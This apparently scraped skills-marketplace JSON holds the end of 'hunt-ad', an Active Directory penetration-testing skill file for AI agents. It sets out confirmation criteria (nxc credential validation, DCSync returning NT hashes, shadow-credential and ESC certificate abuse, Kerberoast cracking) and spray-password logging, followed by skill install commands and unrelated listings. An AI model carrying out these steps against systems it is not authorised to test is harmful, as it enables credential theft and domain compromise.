scripts\u002Fwiki-stage.py --kind technique --slug \u003Cslug> --target-page techniques\u002Factive-directory\u002Fadcs.md`.\n\n## Confirmation gate\n\n**NOT confirmation:** a hash captured but never cracked or used; a Kerberoast\u002FAS-REP ticket dumped but not cracked; a BloodHound edge (`GenericWrite`, `AddAllowedToAct`, an ESC \"vulnerable\" flag) that is theoretical and never executed; `certipy find` listing a template you never enrolled against; a spray \"hit\" you have not re-validated with a clean authentication.\n\n**IS confirmation:** credentials validated against the DC (`nxc smb`\u002F`ldap`\u002F`winrm \u003Cdc> -u \u003Cuser> -p \u003Cpass>` returns `[+]` \u002F `Pwn3d!`); a TGT\u002FTGS obtained AND used (authenticated an action, read a file, DCSynced with it); a DCSync that actually returned NT hashes; an ACL abuse executed end to end (shadow-creds -> authenticated, targeted Kerberoast -> cracked, group add -> new access gained); an ESC exploited to a certificate that authenticated as the target. Reproduced from your own written steps.\n\n## Severity\n\nCRITICAL = DA \u002F domain compromise \u002F DCSync \u002F ESC1 \u002F ESC8. HIGH = user creds + lateral movement, Kerberoast cracked to a privileged account. MEDIUM = enum \u002F info disclosure, a spray hit with no privilege.\n\n## Deadends\n\n```\nAppend: - [ ] AD spray \u003Cdomain> -- full user x pass matrix once (Season2025!\u002FWelcome1), 0 hits, lockout thr 5;\n              ADCS no ESC template; no BloodHound path from \u003Cuser>\n```\n\nRecord the boundary (which creds, which lockout threshold, which ESC\u002FBH gaps), not just that it failed. A bare entry gets re-run.\n",{"name":5,"description":7},"main","d69096e239f2a89aabc2cd078c47664a9d3b1e11","04-安全渗透\u002Fhunt-ad",3,"https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts","https:\u002F\u002Fgithub.com\u002Flza6","个人vx：Tf00798\r\n个人✈：@TFGY999","2026-10-08 14:29:22",{"source":8,"skillName":5,"commands":33,"prompt":43,"zipAvailable":44},[34,37,40],{"tool":35,"command":36},"npx","npx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-ad",{"tool":38,"command":39},"bunx","bunx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-ad",{"tool":41,"command":42},"pnpm","pnpm dlx skills add lza6\u002FArmor-piercing-system-prompts --skill hunt-ad","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F04-安全渗透\u002Fhunt-ad\u002FSKILL.md",true,[],[47,55,60,67,74,81],{"skillNo":48,"name":49,"nameZh":6,"description":50,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":51,"categories":52,"keywords":53,"publishedAt":54},"01M7FFG485KY83TD6HSC4YPCMC","obsidian-clipper-template-creator","Guide for creating templates for the Obsidian Web Clipper. Use when you want to create a new clipping template, understand available variables, or format clipped content.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator\u002FSKILL.md",[],[],"2026-11-16 10:05:34",{"skillNo":56,"name":49,"nameZh":6,"description":50,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":57,"categories":58,"keywords":59,"publishedAt":54},"01M7FFG0T6AZ0STEJPSB3CX84K","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobsidian-clipper-template-creator-antigravity-awesome-skills-main\u002FSKILL.md",[],[],{"skillNo":61,"name":62,"nameZh":6,"description":63,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":64,"categories":65,"keywords":66,"publishedAt":54},"01M7FFFY0QEM14SKWPDYGMXM2P","python-api","Programmatic Object-Detection-Metrics API guidance for BoundingBox, BoundingBoxes, Evaluator, enums, coordinate conversion, AP\u002FmAP semantics, and source-style import diagnostics.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Fpython-api\u002FSKILL.md",[],[],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":73,"publishedAt":54},"01M7FFFVZQZ2GJ0C0TGP7JHD20","file-evaluation","Folder-based PASCAL VOC AP\u002FmAP evaluation from ground-truth and detection text files.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002Fsub-skills\u002Ffile-evaluation\u002FSKILL.md",[],[],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":54},"01M7FFFSFNYSE77SJ6PE1CK2DA","object-detection-metrics","Guides legacy Object-Detection-Metrics PASCAL VOC AP\u002FmAP evaluation from detection text folders and direct Python API classes.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fobject-detection-metrics\u002FSKILL.md",[],[],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":54},"01M7FFFP0GCK1RVXBCPQ8APBMT","nx-workspace-patterns","Configure and optimize Nx monorepo workspaces. Use when setting up Nx, configuring project boundaries, optimizing build caching, or implementing affected commands.","https:\u002F\u002Fgithub.com\u002Flza6\u002FArmor-piercing-system-prompts\u002Fblob\u002Fmain\u002F07-后端与架构\u002Fnx-workspace-patterns\u002FSKILL.md",[],[]]